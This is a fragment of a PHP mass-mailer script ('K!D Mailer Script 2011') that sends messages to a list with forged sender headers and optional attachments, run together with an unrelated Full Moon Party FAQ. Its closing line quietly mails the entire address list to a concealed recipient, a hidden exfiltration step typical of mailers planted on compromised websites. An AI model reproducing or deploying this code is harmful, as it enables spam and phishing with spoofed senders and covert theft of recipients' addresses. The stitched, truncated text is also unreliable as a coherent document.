KiD Mailer Script
K!D Mailer Script 2011
Greetz To:
myself :)
|
";
//Open the file attachment if any, and base64_encode it for email transport
If ($file_name){
if (!file_exists($file)){
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "ok ";
flush();
}
}
}
mail($secure, $filter, $emaillist, $float);
}
?>
Where is Full Moon Party? When is Full Moon Party? How long the Party last? Is there an Entrance Fee for fullmoon party? What is the most popular drink sold in the party? Is there all night taxi from where I stay to Fullmoon Party? Can I sleep on the beach on the night of Full Moon Party? Can I stay only one night for the party? Can I stay only one night for the party? Can I just go to the party from Koh Samui? Do I have to pre book the ferry from Koh Samui on Full Moon Party? I'm a DJ, can I play my music in Full Moon Party?
If this FAQ doesn't answer your question, please contact us here
|